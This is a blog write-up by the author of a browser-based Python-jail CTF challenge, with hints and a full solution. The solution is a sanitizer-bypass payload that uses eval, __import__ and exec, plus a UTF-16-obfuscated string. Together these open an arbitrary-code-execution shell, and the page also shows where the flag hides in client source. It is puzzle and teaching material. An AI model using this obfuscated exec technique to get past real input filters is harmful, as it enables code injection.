Created 08 Jun 2024
Terminal Challenge
A writeup for the hangman challenge on my homepage. As far as I know it's a completely original challenge; if anything I'm proud of the implementation and how real the terminal feels. The core idea came from talking with a friend about writing a python file that sanitizes to a fixed string, reminiscent of quines.
I used Pyodide to run python in the browser (pretty cool!), which I heard about from my teacher at school, who used it to make the (well-known?) Python Sponge.
Hint 1
¶The hangman game really is unbeatable. The goal of the challenge is to take advantage of the name loading and use that to read the flag.
;
;
Hint 2
¶Look at the name verification function. If we can write some python code that sanitizes to
ErroryournamedoesntseemtobevalidIllcallyouMrUnimportant
, then we can input that as the name and it will pass the verification and thus be written to a file. Then we can run that file just like we rangame.py
.;
So the goal is: write a python file that reads/flag.txt
, whose alphanumeric characters in order areErroryour...
.
;
Hint 3
¶Can you spot any python keywords in the sanitized error message? Research the built-in python functions and see which ones might be useful.
We can have variables because underscores are allowed in python variable names. Also we have numbers, by doing something like:
;_ = '' < '_' # one (compares ascii values)
__ = _+_+_+_ # four
___ = __*__ # sixteen
;
Solution
¶What follows is one possible solution, that allows arbitrary code execution with a shell, so in particular you can read the flag file. Can you come up with an alternative?
For readability, I've named all variables something representative, but they can all be replaced with underscores (see the minified version). The solution uses a trick of encoding a utf-8 string in utf-16 to garble it.
'Erroryo'
U,R,N = 'urn'
'amedoesn'
T,S = 'ts'
'eemtob'
EVAL = eval
STR = EVAL(S+T+R)
I,D = 'id'
DIR = EVAL(D+I+R)
'IllcallyouMrUn'
ONE = ''<'_'
SEVEN = ONE+ONE+ONE+ONE+ONE+ONE+ONE
BUILTINS = STR(EVAL)[ONE:SEVEN-ONE]+I+N+S
FUNCS = DIR(EVAL('__import__("'+BUILTINS+'")'))
'ant'
EXEC = FUNCS[-SEVEN*SEVEN-ONE-ONE]
BYTES = FUNCS[-SEVEN*SEVEN-SEVEN-SEVEN-ONE-ONE]
# the garbage characters are a utf16 encoding of the utf8 shellcode, the decoded version is:
# while True: exec(input());
SHELLCODE = BYTES+'("桷汩牔敵›硥捥椨灮瑵⤨㬩","'+U+STR(SEVEN+SEVEN+ONE+ONE)+'")['+STR(ONE+ONE)+':]'
EVAL(EXEC+'('+SHELLCODE+')')
And the reduced version:;'Erroryo';________,_____,_________='urn';'amedoesn';__________,______='ts';'eemtob';___=eval;____,___________='id';'IllcallyouMrUn';_=''<'_';__=_+_+_+_+_+_+_;___((____________:=___(___________+____+_____)(___('__import__("'+(_______:=___(______+__________+_____))(___)[_:__-_]+____+_________+______+'")')))[-__*__-_-_]+'('+____________[-__*__-__-__-_-_]+'("桷汩牔敵›硥捥椨灮瑵⤨㬩","'+________+_______(__+__+_+_)+'")['+_______(_+_)+':]'+')');'ant'
;
Cheese solution
¶The way I got python to run in the browser was with Pyodide and a web worker. The python runs client-side i.e. this is all really a fake prison-break environment. In particular the flag file has to be generated somehow, so the flag is somewhere in the source.
So I had to find somewhere to hide the loading of the flag so that it wasn't completely obvious. It's in the main thread so at least there are no revealing network requests (initially it was in
init.py
).
It's base-64 encoded; look for it in F12 -> Sources.
;
;